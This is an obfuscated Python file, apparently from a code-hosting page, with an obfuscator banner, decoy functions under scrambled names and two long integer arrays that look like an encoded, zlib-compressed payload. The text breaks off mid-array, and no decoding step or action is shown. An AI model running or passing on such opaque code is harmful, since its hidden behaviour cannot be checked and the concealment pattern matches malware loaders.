Files
bucket/inout.py_obfuscated.py

164 lines
34 KiB
Python

"""
██████╗ ██████╗ ███████╗██╗ ██╗███████╗ ██████╗ █████╗ ████████╗███████╗██████╗ ██████╗ ██╗ ██╗ ██╗ ██╗███████╗███╗ ██╗ ██████╗██████╗ ██╗ ██╗██████╗ ████████╗
██╔═══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔════╝██╔══██╗╚══██╔══╝██╔════╝██╔══██╗ ██╔══██╗╚██╗ ██╔╝ ██║ ██║██╔════╝████╗ ██║██╔════╝██╔══██╗╚██╗ ██╔╝██╔══██╗╚══██╔══╝
██║ ██║██████╔╝█████╗ ██║ ██║███████╗██║ ███████║ ██║ █████╗ ██║ ██║ ██████╔╝ ╚████╔╝ ██║ ██║█████╗ ██╔██╗ ██║██║ ██████╔╝ ╚████╔╝ ██████╔╝ ██║
██║ ██║██╔══██╗██╔══╝ ██║ ██║╚════██║██║ ██╔══██║ ██║ ██╔══╝ ██║ ██║ ██╔══██╗ ╚██╔╝ ██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔══██╗ ╚██╔╝ ██╔═══╝ ██║
╚██████╔╝██████╔╝██║ ╚██████╔╝███████║╚██████╗██║ ██║ ██║ ███████╗██████╔╝ ██████╔╝ ██║ ╚██████╔╝███████╗██║ ╚████║╚██████╗██║ ██║ ██║ ██║ ██║
╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝
"""
import sys as RwKIl1O0cj4fHAy, os as MLlIcWakeNAzlIH, random as jIlG14SIlIl1lQI
import hashlib as s7YZBm8_, base64 as V0w_ElIK_WW, zlib as iqKl1N9_yG7ekO0
oVO0qo_pRT = RwKIl1O0cj4fHAy.version_info[0] * RwKIl1O0cj4fHAy.version_info[1]
ReUP4CL0OUSIll1 = MLlIcWakeNAzlIH.path.exists('.') and MLlIcWakeNAzlIH.path.isfile(__file__)
wkVE7IlvM1l0O = jIlG14SIlIl1lQI.randint(1000, 9999) ^ oVO0qo_pRT
eOl1qnml1GWW = s7YZBm8_.md5(str(wkVE7IlvM1l0O).encode()).hexdigest()[:8]
n2_nl1bmxIl0OQc = (611, 341, 693, 124, 631, 845, 152)
HoKVIlQj0O0OSlI = (lambda E7T5Ednq: E7T5Ednq * 5 + 26)(19)
ql1A2__1lX44s = (92, 756, 737, 425, 431)
Hf1lzl1lIzcfI0O = {43, 60, 19}
BqYguqj_RaX = [[10 for _ in range(3)] for _ in range(2)]
k__L9W_QT = (lambda h6V5ge_C0ol1: h6V5ge_C0ol1 * 7 + 32)(3)
HaqSLA0Oe3T9 = {25, 2, 37}
y5O_Yl131lEG1l0 = [[7 for _ in range(2)] for _ in range(1)]
dsFlIn07aA_PVO0 = (lambda f_XagolIyMbTfP: f_XagolIyMbTfP * 5 + 33)(4)
zel11qfpTl1__ql = [[50 for _ in range(5)] for _ in range(2)]
r8jXl_nK6BPL926 = (lambda FP_pl1CQK: FP_pl1CQK * 9 + 16)(20)
uCO0l1FEA0OpT__ = {51, 23, 68}
Al1Il1lY_l1r = {"wBl15T1l9k_yr": 139, "tVlI_Ol1NClvIlO": 110, "p0OAzlIRRi__l1v": 207}
Hm0O__0On_v__ = {1, 15, 36}
hlIPLo6ku__z81l = [[24 for _ in range(4)] for _ in range(3)]
yIlDem_X2w__bl1 = {"h0OWWIl0V4y__l1": 825, "T0OHl1__usjkRGz": 947, "V4M_q__9ll1r6T": 799}
H0OIllIGjWJl1Il = {"Jk8UZV_s1lcs0O": 72, "VG2UO0mIlfE": 618, "cIlBKkpsR_olIlI": 967}
EIl1lEi0OSdmO0G = [[3 for _ in range(3)] for _ in range(3)]
B76RW95BI = {"s1lIlthlGt1l9kC": 578, "euWh5n__0OeuXjN": 187, "Stl1ok1l_1l0Os": 698}
SbNIl9oHT = {"ptO0l1O0__YJdCn": 862, "OgjUWO0B1": 69, "W96O00Od91_l1Il": 496}
ZO0ToQ7yO0Y = {"E0OktDh1lH9f": 593, "YeITR1lNlIll18q": 508, "VrKIl1lwKD10": 607}
lzVwGIW8mKjDP0O = [[91 for _ in range(2)] for _ in range(3)]
Sh8__Y1lxlko = [[76 for _ in range(5)] for _ in range(3)]
l00OuH9_YRzSTYZ = [[25 for _ in range(4)] for _ in range(1)]
U1llIdQ_AYZzs0O = (lambda fO0l1nkVRIl: fO0l1nkVRIl * 2 + 36)(3)
o0ON_Cdl1dFa5 = [[22 for _ in range(4)] for _ in range(1)]
NLlIllI0O00Oea8 = {"h_dBhi_lIU__": 701, "M95XQlIPWIli": 503, "J_A3t0O0O0a__SO": 770}
prkr9M_O0l1IlnI = (123, 268, 671, 458)
kwO0I__tJ__0OJO = (lambda DO0u17lIIl1l1E_: DO0u17lIIl1l1E_ * 5 + 7)(8)
wK__l17avzd = [[48 for _ in range(3)] for _ in range(3)]
def k8_8AO00OKCSz(towKx65O0HiZ9VA, XOpoLyxS_0O9lI1, pAtIll__7UtZU9S, F_pW___o__lIOh):
V0OY__n5PGR__ = 25 * 6 + 12
r__sr3O0tH8Iluh = 76 * 2 + 10
y__KlI0__1d3KtP = 39 * 30 + 20
LCLPZtYvT = 52 * 12 + 3
hIl59l19SeO0nIl = [i for i in range(12) if i % 3 == 0]
return sum([V0OY__n5PGR__, r__sr3O0tH8Iluh, y__KlI0__1d3KtP]) if isinstance(V0OY__n5PGR__, int) else len(str(V0OY__n5PGR__))
def ah__JIuIl5Il(HlIIlyl1k1ly, C1l2lI0OTO0N, Mdf16njeG_l0Oel):
sIlYlIr9VWFHf = 18 * 22 + 21
tyam1o0OYO04 = "xYR__FMAl1QMO0I" + str(153)
au0ODl1l1_LYZ = 89 * 13 + 21
eZIlGimPoq_ = 51 * 18 + 9
return sum([sIlYlIr9VWFHf, tyam1o0OYO04, au0ODl1l1_LYZ]) if isinstance(sIlYlIr9VWFHf, int) else len(str(sIlYlIr9VWFHf))
def dkpgJfH2x76I(MO0E1lmW1lXO0RI):
iIlrlx__YDQUwlI = [i for i in range(11) if i % 2 == 0]
zl1bshIIl7g0 = "y0OnfJlI8O0Zz" + str(734)
OIlYic____l19dO = [i for i in range(11) if i % 4 == 0]
zM5_Ks__lIC8gO0 = 20 * 15 + 23
XEeO0WlIIlGn_0O = "G50Oo_oNl1B" + str(202)
return sum([iIlrlx__YDQUwlI, zl1bshIIl7g0, OIlYic____l19dO]) if isinstance(iIlrlx__YDQUwlI, int) else len(str(iIlrlx__YDQUwlI))
def Sf0OlIIliIlsL1l(v_b_Jf0O_O, QlIzvE1js0w1w4T, Y0pqwGJP1lbKRXa, M2O0D4Sno1ltlII):
h1lPGIll1vIl = 47 * 20 + 11
B08O0cMIlE = [i for i in range(14) if i % 3 == 0]
cO0L1lzsB_ql1R = [i for i in range(11) if i % 3 == 0]
return sum([h1lPGIll1vIl, B08O0cMIlE, cO0L1lzsB_ql1R]) if isinstance(h1lPGIll1vIl, int) else len(str(h1lPGIll1vIl))
def VFwAJ1_5LM0OlI_(Tel191lIllILAC8, rlIIlpCvlITA0OU):
G4OlIO2RTYIl = "iSxO05vu4_D" + str(522)
U1l__5_C__Ux__7 = 9 * 6 + 10
kWuIlO0weOL = "jX__Hl1AO0q7A" + str(32)
QXTRl__1lS8__s4 = 75 * 34 + 21
Etg5l1NPu1lp = [i for i in range(14) if i % 3 == 0]
return sum([G4OlIO2RTYIl, U1l__5_C__Ux__7, kWuIlO0weOL]) if isinstance(G4OlIO2RTYIl, int) else len(str(G4OlIO2RTYIl))
def i_BOl____IlVXlI(JO011llI_lIO0WK, r7f__21__lIXal1, mQmfqFlzcN):
ydIlil1O0__0Oym = 9 * 17 + 9
qQkKm1l_gwScMSN = 1 * 44 + 16
AVl1XkE__85Uw5 = "RJyO0JO0Uq90Ol1" + str(945)
Y5TrTn_xh0__ = [i for i in range(6) if i % 2 == 0]
return sum([ydIlil1O0__0Oym, qQkKm1l_gwScMSN, AVl1XkE__85Uw5]) if isinstance(ydIlil1O0__0Oym, int) else len(str(ydIlil1O0__0Oym))
def mZjl1eO0610tIlX(BhPYl1_M1luXnBO, B3F__JllIxmi, QIlO04X__7l1, uAIlS_TY0Ospl):
h2cIl1l__bTG0Oe = 55 * 25 + 3
yQ1l9d_sFjrl1x1 = "tE3_R1l7ETO0En4" + str(380)
J8iym_1l_6 = 87 * 2 + 11
kAIldQO8VC1l_ = [i for i in range(14) if i % 2 == 0]
return sum([h2cIl1l__bTG0Oe, yQ1l9d_sFjrl1x1, J8iym_1l_6]) if isinstance(h2cIl1l__bTG0Oe, int) else len(str(h2cIl1l__bTG0Oe))
def muTZz_W1lRinfoT(Ml1_5_kS1l, G__MUlI799Ilsox, zwuQF1llIB):
gV6U1l7l1f_ = "vOl1N5RtO0k0lI" + str(468)
b_IYO0fvlI1lDw = [i for i in range(12) if i % 3 == 0]
o50nG4ma__1 = [i for i in range(15) if i % 3 == 0]
return sum([gV6U1l7l1f_, b_IYO0fvlI1lDw, o50nG4ma__1]) if isinstance(gV6U1l7l1f_, int) else len(str(gV6U1l7l1f_))
def w0OlRn4r8ve_5u1(UXVIlAp1l6F_kNC, nf_IlWZwSX0ONO0, Q5z__ylIiK0O0OJ):
aojIlIl1le0OGfM = "N0Ol1celIUDAhm" + str(103)
gopl1__l18C0OpS = 40 * 39 + 12
bhMCcLV__nZIlO0 = [i for i in range(9) if i % 2 == 0]
K__O0lIUHM7O0f = 14 * 33 + 14
return sum([aojIlIl1le0OGfM, gopl1__l18C0OpS, bhMCcLV__nZIlO0]) if isinstance(aojIlIl1le0OGfM, int) else len(str(aojIlIl1le0OGfM))
def B1lRlwIll__6ShI(p0O_q0OLzIvt, B0910lIhIl7IllI, GlIJI1l__ZtwQCi, L_lIJRI5L5ll1d):
i_1Hl14RzlIju = "k1lpv_O0IlofZ3_" + str(145)
BOU4u6kz8pw__ = "Trl1lICGcl1g_" + str(789)
nnujswflIFN3O0D = [i for i in range(9) if i % 2 == 0]
XIbTL2_pulx = [i for i in range(12) if i % 4 == 0]
DoJdh9l1SE0O6pt = [i for i in range(7) if i % 4 == 0]
return sum([i_1Hl14RzlIju, BOU4u6kz8pw__, nnujswflIFN3O0D]) if isinstance(i_1Hl14RzlIju, int) else len(str(i_1Hl14RzlIju))
def vDBbj_l11l_(dVpbul11O0H, OlIKrw1lwZO01lO):
TpeIlVk5AE2n8 = "RIlm0Dx_0OPl1" + str(833)
iVjIll1S71lC = [i for i in range(13) if i % 2 == 0]
TuO8O0Pl1M8l1 = [i for i in range(14) if i % 2 == 0]
CT__26asI3qBIll = [i for i in range(14) if i % 4 == 0]
return sum([TpeIlVk5AE2n8, iVjIll1S71lC, TuO8O0Pl1M8l1]) if isinstance(TpeIlVk5AE2n8, int) else len(str(TpeIlVk5AE2n8))
def Ynq1lWA_rPk(Zl173JRvThclIIl, jbO86E__IlDr, t__N0O5Kqy):
h_tHOcW_0yQ = [i for i in range(5) if i % 2 == 0]
T5TLGl1vlItSh__ = 44 * 9 + 21
M0ORy2O0Il3sIll = "NJA_ixqyu2" + str(742)
jw8PSIlGNl1foj4 = "AO00OQ_Il7Ydl11" + str(754)
return sum([h_tHOcW_0yQ, T5TLGl1vlItSh__, M0ORy2O0Il3sIll]) if isinstance(h_tHOcW_0yQ, int) else len(str(h_tHOcW_0yQ))
def PS1lGML7EslI(b60aNX_1l, Fl13DrO01lIlGHs):
NO01lSfXQ__ = "jO0SlIIdlIE1o6e" + str(10)
ZwH_2__l1iX1lIl = 52 * 39 + 14
xcsfi01lZLl13qO = "sTd__Il_dTVlIpz" + str(291)
Ht9O0A72Il = [i for i in range(9) if i % 2 == 0]
y1211l2hD1lPRQ7 = 83 * 7 + 9
nl140OIlNs7 = 70 * 15 + 19
return sum([NO01lSfXQ__, ZwH_2__l1iX1lIl, xcsfi01lZLl13qO]) if isinstance(NO01lSfXQ__, int) else len(str(NO01lSfXQ__))
def NMwdQ1lrgu(wEvL4TKXBZy, S___1lSlIA_1lbS, Ua6sRO0Ul1Ilwrk, rOsFIld0fV1l2L):
dhO01lfSsu7T = "XIls1lR__lIW" + str(346)
Gq__K_F__LlIw9q = "U0O_lIKAGJMO0KI" + str(820)
AY_sh80OT1dkAbl = "TPqKiO0Kl1xZIl" + str(819)
pYTbPB____XIlg = 9 * 39 + 23
return sum([dhO01lfSsu7T, Gq__K_F__LlIw9q, AY_sh80OT1dkAbl]) if isinstance(dhO01lfSsu7T, int) else len(str(dhO01lfSsu7T))
def g81l20IlVlI0O0O(Q__j6Wf6W0O4B, qIVK1lzU1Gv, CCdGoMsO0O2OsO0):
D7Q__p_G0OIlDlI = [i for i in range(5) if i % 2 == 0]
DZR__RhThJl1lIU = "Z_yJQal1vzFgVrH" + str(235)
Q45BKoeO0O2D = "AyMikPmH__IlIrR" + str(561)
return sum([D7Q__p_G0OIlDlI, DZR__RhThJl1lIU, Q45BKoeO0O2D]) if isinstance(D7Q__p_G0OIlDlI, int) else len(str(D7Q__p_G0OIlDlI))
aiAr_1lG_KO0mGl = {26, 91, 53, 40, 85}
PlIUlIEO0pl14__ = {28, 25, 34, 6}
gclIJm1lIlzk = (lambda fal1sIl0OO0_iv1: fal1sIl0OO0_iv1 * 8 + 19)(12)
F1lAI8_3Ef = {"H1l8dPx15vCW6j": 860, "q0Od_Is0s1l": 773, "uO0bJZZlI4Nvzl1": 41}
oBkc_O0xy = (85, 477, 982, 284, 946)
H9IlBD4lAy1l0OQ = (lambda kPE8rV8X: kPE8rV8X * 2 + 6)(12)
j__1liX1__G = {23, 32, 51, 8, 72}
L5eXaXdrC = [[39 for _ in range(4)] for _ in range(2)]
p5aS0O0OJH7yAip = [[29 for _ in range(4)] for _ in range(3)]
VLoEq4Oy0OW = {"K0ODiGYO0O0lIO0": 470, "pw0O0Mu1P": 12, "XkI0OO0lI2IlIl1": 417}
P_555__kVIlMHTC = {"nvO0l1__hlIaYb": 358, "SZl1X1lNlI6B3": 239, "tWMl1HE_yeN__9l": 260}
vr1l1lTtSrPoP0O = {"i9I_1lO0Y0OVA9": 24, "xHx__0O_0O__pl1": 730, "B3Losulv23j7kl1": 401}
OrqlI1ld1lE1lUD = (lambda tS0OIltt__8uu4m: tS0OIltt__8uu4m * 2 + 41)(19)
e_5j3ClIApQzqc_ = {"AB0OwIv8tQlI": 582, "b5r1ll1_0Osf": 63, "o7YO0oYl8tRl1Ol": 17}
YHIll1jnellI = [[45 for _ in range(2)] for _ in range(3)]
import zlib as pFU_FErdFPO08a_, base64 as F4____0AwDt1lO0
UIl1ll1P9lInn_l = [87, 108, 110, 78, 86, 77, 123, 82, 85, 55, 71, 59, 63, 65, 120, 80, 100, 55, 80, 102, 97, 99, 111, 88, 108, 89, 105, 38, 40, 84, 79, 45, 121, 49, 126, 78, 94, 86, 116, 68, 70, 71, 42, 64, 120, 83, 88, 51, 96, 98, 90, 70, 68, 110, 112, 77, 114, 85, 86, 73, 70, 108, 82, 36, 108, 89, 42, 98, 84, 109, 78, 78, 56, 122, 83, 99, 81, 36, 50, 90, 70, 75, 124, 35, 82, 88, 41, 105, 87, 111, 70, 71, 64, 38, 100, 80, 107, 66, 35, 53, 76, 80, 49, 74, 53, 90, 56, 108, 83, 71, 72, 36, 45, 98, 107, 71, 104, 125, 57, 67, 73, 87, 99, 45, 112, 79, 104, 96, 94, 83, 78, 78, 90, 67, 63, 88, 110, 57, 112, 75, 88, 71, 124, 43, 99, 83, 126, 113, 99, 51, 70, 72, 99, 56, 74, 79, 71, 89, 43, 112, 70, 45, 51, 68, 108, 80, 59, 79, 76, 49, 78, 111, 122, 50, 54, 79, 59, 117, 125, 73, 99, 121, 50, 72, 43, 71, 40, 117, 84, 85, 99, 88, 119, 56, 54, 98, 35, 96, 104, 115, 86, 62, 111, 70, 33, 73, 89, 63, 116, 59, 80, 101, 67, 95, 119, 77, 124, 86, 103, 36, 87, 105, 87, 97, 126, 79, 71, 35, 66, 110, 80, 69, 97, 35, 101, 80, 66, 50, 98, 51, 87, 61, 100, 120, 40, 71, 70, 77, 116, 102, 78, 104, 64, 77, 103, 82, 100, 97, 49, 94, 75, 123, 33, 104, 124, 79, 43, 45, 109, 35, 97, 67, 118, 49, 63, 90, 70, 54, 62, 88, 71, 68, 125, 66, 106, 79, 109, 60, 97, 84, 73, 55, 118, 99, 68, 99, 124, 116, 100, 77, 90, 68, 99, 114, 57, 77, 96, 125, 37, 87, 88, 73, 87, 81, 77, 76, 113, 115, 96, 74, 79, 45, 51, 42, 41, 71, 41, 114, 89, 122, 76, 114, 59, 49, 33, 77, 81, 125, 40, 113, 76, 50, 69, 69, 62, 77, 115, 96, 40, 100, 86, 96, 41, 37, 35, 82, 120, 110, 54, 71, 88, 76, 64, 62, 97, 70, 108, 126, 66, 55, 77, 123, 71, 33, 80, 82, 88, 56, 124, 57, 70, 74, 101, 40, 76, 71, 68, 107, 79, 50, 76, 116, 60, 69, 73, 99, 126, 53, 122, 50, 80, 59, 43, 114, 66, 97, 88, 51, 79, 124, 82, 89, 55, 36, 120, 77, 81, 84, 113, 126, 97, 57, 84, 72, 72, 80, 42, 79, 64, 113, 80, 72, 33, 116, 125, 98, 50, 78, 72, 69, 99, 123, 88, 45, 52, 73, 86, 40, 65, 74, 86, 115, 125, 63, 100, 76, 84, 103, 49, 114, 81, 42, 36, 113, 72, 99, 88, 100, 125, 96, 89, 73, 48, 35, 86, 68, 124, 75, 62, 117, 79, 108, 77, 51, 64, 83, 119, 119, 49, 65, 81, 35, 77, 115, 114, 89, 38, 84, 103, 107, 72, 67, 98, 35, 109, 98, 87, 117, 37, 109, 90, 66, 84, 74, 105, 82, 89, 45, 49, 101, 79, 63, 79, 54, 56, 73, 89, 99, 115, 80, 79, 72, 121, 77, 61, 72, 56, 64, 35, 68, 73, 53, 49, 45, 123, 89, 101, 59, 66, 57, 100, 50, 75, 85, 119, 82, 99, 108, 121, 119, 90, 41, 59, 73, 110, 98, 122, 120, 85, 111, 70, 108, 106, 95, 42, 79, 109, 108, 50, 95, 89, 106, 48, 67, 59, 86, 96, 102, 37, 97, 79, 76, 81, 60, 82, 83, 86, 85, 53, 70, 99, 126, 87, 107, 49, 80, 38, 81, 70, 103, 73, 98, 38, 103, 65, 78, 111, 122, 119, 43, 84, 54, 82, 120, 41, 70, 106, 115, 71, 72, 87, 112, 33, 63, 74, 81, 55, 99, 101, 38, 72, 70, 104, 42, 77, 82, 53, 119, 109, 86, 80, 73, 122, 94, 54, 70, 42, 71, 89, 100, 90, 98, 53, 55, 95, 97, 89, 124, 33, 122, 98, 86, 122, 55, 116, 97, 87, 104, 118, 95, 73, 66, 113, 100, 85, 70, 45, 49, 50, 62, 82, 67, 55, 87, 37, 80, 103, 56, 74, 116, 83, 121, 42, 115, 119, 79, 45, 63, 97, 69, 86, 110, 117, 57, 103, 99, 87, 122, 56, 102, 88, 109, 76, 43, 40, 81, 38, 51, 83, 59, 98, 53, 108, 122, 61, 71, 69, 123, 80, 65, 78, 108, 116, 66, 48, 68, 96, 123, 63, 99, 88, 68, 126, 81, 75, 86, 62, 77, 80, 121, 75, 125, 126, 67, 70, 78, 72, 57, 96, 82, 84, 53, 67, 97, 65, 100, 85, 59, 68, 106, 80, 103, 80, 111, 90, 70, 74, 40, 113, 45, 99, 49, 126, 107, 118, 82, 38, 45, 125, 35, 79, 108, 87, 106, 64, 71, 41, 104, 61, 50, 77, 109, 50, 88, 115, 70, 59, 56, 116, 99, 76, 119, 81, 67, 59, 89, 37, 42, 71, 70, 97, 66, 41, 35, 124, 78, 78, 106, 48, 112, 80, 41, 108, 110, 59, 77, 112, 123, 69, 70, 88, 72, 96, 62, 52, 100, 80, 73, 52, 50, 88, 104, 75, 121, 123, 80, 60, 75, 41, 125, 77, 115, 114, 113, 109, 90, 102, 98, 56, 114, 77, 115, 80, 120, 65, 82, 89, 78, 35, 55, 76, 64, 35, 71, 108, 99, 84, 105, 49, 112, 77, 94, 35, 90, 109, 71, 73, 64, 49, 40, 87, 105, 40, 98, 111, 88, 70, 94, 40, 76, 86, 82, 40, 53, 94, 87, 64, 118, 97, 100, 72, 37, 51, 111, 111, 78, 95, 82, 36, 87, 87, 94, 115, 67, 87, 99, 50, 123, 73, 45, 70, 103, 72, 101, 56, 90, 102, 81, 54, 124, 84, 54, 49, 83, 78, 90, 100, 71, 36, 79, 79, 45, 68, 94, 96, 83, 55, 62, 75, 52, 88, 74, 124, 96, 107, 72, 65, 113, 78, 35, 90, 65, 87, 68, 125, 72, 69, 119, 33, 117, 81, 57, 41, 66, 33, 68, 63, 62, 124, 109, 76, 113, 125, 54, 98, 82, 97, 82, 95, 108, 100, 80, 71, 53, 82, 79, 71, 115, 35, 74, 73, 97, 55, 54, 74, 83, 55, 65, 124, 70, 88, 71, 40, 72, 99, 89, 40, 105, 56, 118, 98, 84, 110, 121, 99, 81, 65, 36, 108, 87, 84, 52, 122, 45, 95, 88, 105, 82, 114, 37, 82, 120, 101, 62, 117, 72, 69, 85, 73, 75, 86, 63, 35, 107, 115, 89, 101, 56, 54, 76, 81, 37, 104, 71, 107, 76, 111, 106, 33, 67, 100, 85, 36, 107, 90, 73, 56, 56, 89, 45, 70, 45, 75, 117, 112, 81, 69, 120, 60, 74, 72, 70, 73, 114, 72, 97, 66, 88, 72, 40, 81, 40, 56, 52, 45, 99, 88, 85, 106, 52, 87, 77, 41, 96, 99, 88, 105, 57, 102, 84, 72, 69, 119, 55, 124, 87, 62, 72, 51, 65, 89, 59, 97, 79, 69, 71, 101, 124, 50, 33, 97, 89, 125, 86, 84, 71, 70, 78, 118, 111, 99, 88, 38, 61, 96, 78, 109, 101, 59, 60, 79, 109, 60, 94, 55, 86, 77, 116, 65, 67, 86, 81, 87, 108, 107, 76, 94, 111, 71, 83, 87, 59, 82, 83, 94, 71, 69, 95, 52, 38, 86, 78, 54, 85, 96, 78, 63, 66, 43, 124, 99, 123, 111, 111, 123, 86, 123, 61, 55, 48, 86, 77, 37, 38, 89, 87, 94, 72, 122, 72, 82, 87, 63, 62, 110, 77, 111, 118, 38, 79, 78, 76, 79, 75, 54, 77, 80, 42, 75, 57, 77, 94, 116, 50, 73, 84, 51, 48, 122, 114, 88, 41, 65, 86, 104, 80, 66, 100, 57, 110, 80, 66, 84, 119, 119, 71, 102, 43, 114, 83, 100, 80, 113, 111, 51, 73, 66, 45, 84, 37, 78, 110, 126, 36, 79, 100, 81]
JG3GIlFJO00O = [52, 68, 52, 79, 75, 119, 98, 78, 78, 112, 120, 51, 66, 82, 99, 51, 56, 114, 75, 126, 70, 63, 57, 73, 55, 102, 52, 78, 80, 103, 70, 78, 109, 81, 38, 67, 81, 57, 70, 108, 97, 101, 37, 70, 76, 121, 70, 98, 100, 50, 51, 125, 99, 82, 120, 111, 48, 56, 90, 65, 87, 78, 33, 83, 97, 78, 49, 123, 83, 120, 81, 99, 77, 71, 68, 66, 111, 98, 97, 38, 49, 76, 83, 72, 65, 72, 98, 122, 83, 53, 123, 63, 112, 82, 37, 61, 67, 82, 70, 75, 74, 73, 117, 72, 70, 72, 53, 116, 83, 52, 126, 84, 52, 76, 113, 115, 122, 123, 82, 56, 86, 60, 67, 72, 100, 82, 89, 109, 98, 85, 65, 111, 101, 77, 74, 114, 69, 68, 71, 69, 72, 86, 113, 83, 84, 37, 69, 83, 89, 69, 41, 45, 111, 73, 57, 87, 110, 68, 77, 115, 90, 60, 53, 99, 53, 103, 126, 54, 97, 37, 42, 45, 103, 88, 71, 76, 48, 103, 71, 41, 113, 61, 90, 76, 112, 102, 116, 103, 90, 69, 81, 113, 40, 100, 82, 74, 42, 120, 68, 63, 120, 90, 75, 89, 106, 72, 49, 54, 98, 51, 124, 120, 36, 80, 105, 49, 59, 106, 70, 104, 79, 96, 86, 83, 119, 126, 52, 125, 80, 105, 124, 54, 56, 78, 77, 100, 36, 111, 72, 100, 83, 103, 121, 78, 60, 40, 37, 117, 98, 97, 88, 76, 102, 97, 90, 104, 77, 63, 78, 74, 38, 42, 113, 89, 40, 89, 103, 103, 79, 72, 112, 45, 100, 90, 99, 107, 125, 86, 78, 78, 96, 73, 118, 98, 86, 54, 117, 74, 76, 85, 86, 85, 103, 81, 70, 109, 117, 124, 80, 100, 71, 119, 116, 98, 50, 51, 57, 35, 79, 60, 71, 52, 33, 88, 104, 67, 56, 122, 72, 38, 56, 61, 76, 81, 100, 51, 83, 38, 79, 59, 116, 102, 63, 81, 100, 52, 68, 55, 98, 53, 67, 60, 119, 80, 59, 54, 56, 37, 70, 71, 53, 109, 106, 81, 68, 116, 100, 98, 77, 109, 98, 80, 90, 72, 69, 51, 37, 123, 90, 66, 99, 71, 66, 97, 98, 97, 85, 108, 89, 40, 105, 126, 117, 79, 45, 100, 95, 104, 71, 40, 62, 75, 55, 71, 45, 55, 69, 124, 82, 87, 42, 50, 89, 99, 87, 79, 94, 89, 76, 123, 117, 60, 107, 82, 89, 114, 70, 60, 78, 61, 90, 42, 82, 88, 45, 45, 106, 88, 88, 102, 116, 106, 64, 78, 94, 76, 80, 124, 88, 104, 117, 106, 117, 87, 60, 64, 89, 113, 71, 40, 109, 49, 100, 76, 84, 87, 64, 61, 90, 66, 36, 120, 81, 88, 105, 57, 78, 41, 97, 120, 89, 74, 65, 79, 62, 115, 101, 76, 99, 88, 110, 119, 61, 78, 73, 94, 119, 48, 76, 85, 50, 78, 80, 80, 101, 102, 84, 112, 88, 63, 56, 79, 63, 70, 101, 94, 119, 64, 72, 99, 62, 65, 96, 76, 94, 41, 122, 74, 73, 99, 56, 120, 123, 99, 120, 94, 85, 114, 97, 35, 119, 79, 107, 97, 38, 97, 123, 62, 98, 35, 114, 50, 77, 78, 72, 61, 122, 76, 78, 80, 50, 87, 106, 87, 72, 68, 120, 49, 77, 82, 59, 38, 63, 77, 78, 66, 113, 76, 90, 36, 85, 42, 121, 75, 125, 82, 61, 75, 72, 65, 89, 72, 117, 78, 105, 105, 126, 49, 76, 84, 78, 78, 105, 81, 55, 126, 122, 54, 88, 76, 51, 98, 35, 72, 35, 116, 72, 36, 86, 110, 82, 110, 35, 97, 67, 66, 62, 75, 80, 106, 102, 82, 122, 86, 61, 72, 87, 72, 90, 67, 53, 100, 67, 89, 102, 87, 111, 49, 81, 37, 55, 81, 79, 86, 111, 122, 42, 104, 86, 94, 66, 52, 68, 82, 57, 90, 110, 113, 76, 115, 63, 123, 50, 76, 118, 61, 43, 108, 72, 38, 35, 74, 90, 81, 66, 96, 68, 69, 88, 74, 125, 63, 40, 79, 74, 95, 77, 90, 83, 35, 85, 126, 73, 98, 117, 117, 122, 109, 87, 112, 122, 110, 122, 98, 88, 97, 121, 108, 97, 55, 98, 66, 76, 78, 111, 80, 124, 63, 72, 68, 42, 73, 109, 86, 82, 109, 106, 41, 75, 125, 60, 63, 85, 83, 54, 52, 37, 75, 72, 65, 96, 95, 100, 76, 80, 65, 68, 49, 72, 70, 115, 111, 115, 76, 51, 108, 80, 115, 78, 64, 72, 40, 116, 88, 63, 65, 38, 99, 83, 90, 79, 119, 53, 80, 45, 59, 40, 69, 100, 85, 115, 107, 62, 88, 76, 110, 123, 113, 86, 116, 71, 83, 74, 97, 37, 103, 82, 50, 88, 61, 55, 80, 119, 76, 95, 117, 40, 71, 72, 98, 95, 108, 38, 97, 55, 98, 41, 79, 78, 64, 123, 82, 120, 79, 104, 116, 66, 90, 77, 82, 106, 118, 99, 90, 56, 51, 54, 86, 76, 85, 49, 117, 76, 78, 75, 98, 98, 35, 76, 81, 96, 54, 54, 99, 52, 65, 82, 89, 70, 102, 110, 109, 76, 79, 74, 114, 119, 57, 77, 112, 116, 99, 55, 86, 82, 125, 104, 43, 98, 88, 56, 60, 99, 71, 100, 87, 97, 71, 89, 40, 112, 124, 95, 90, 68, 108, 75, 50, 77, 79, 83, 101, 41, 78, 59, 113, 63, 55, 70, 108, 35, 101, 83, 88, 61, 104, 60, 102, 97, 89, 65, 37, 41, 72, 90, 102, 78, 59, 99, 52, 74, 123, 111, 81, 43, 71, 51, 49, 77, 80, 89, 52, 49, 71, 45, 113, 94, 84, 82, 67, 122, 82, 90, 81, 66, 95, 99, 81, 76, 125, 112, 60, 96, 87, 78, 50, 98, 109, 78, 107, 118, 116, 54, 79, 103, 75, 89, 75, 86, 78, 41, 43, 110, 82, 122, 33, 65, 90, 87, 74, 79, 68, 52, 89, 101, 106, 72, 80, 79, 72, 40, 59, 94, 98, 89, 112, 51, 72, 88, 42, 102, 98, 125, 86, 112, 119, 87, 48, 81, 38, 120, 54, 81, 71, 43, 57, 124, 36, 99, 86, 115, 121, 61, 73, 54, 95, 72, 77, 82, 97, 49, 54, 68, 86, 112, 85, 126, 83, 86, 108, 105, 124, 95, 70, 69, 51, 124, 122, 88, 59, 110, 61, 33, 97, 98, 123, 82, 68, 82, 90, 61, 114, 36, 82, 56, 66, 45, 123, 68, 96, 71, 102, 83, 99, 50, 43, 80, 40, 76, 80, 73, 114, 112, 73, 87, 115, 126, 118, 70, 61, 66, 78, 113, 98, 120, 119, 48, 63, 86, 75, 122, 37, 94, 79, 106, 65, 103, 54, 81, 69, 42, 51, 88, 84, 52, 123, 55, 42, 81, 100, 110, 85, 42, 83, 89, 100, 81, 110, 89, 66, 122, 54, 98, 75, 126, 95, 79, 95, 72, 40, 55, 81, 121, 97, 87, 43, 70, 95, 71, 106, 84, 85, 124, 82, 120, 126, 82, 38, 88, 63, 98, 123, 73, 86, 61, 33, 105, 77, 82, 100, 59, 119, 35, 89, 105, 85, 113, 77, 89, 70, 65, 66, 67, 71, 68, 75, 72, 74, 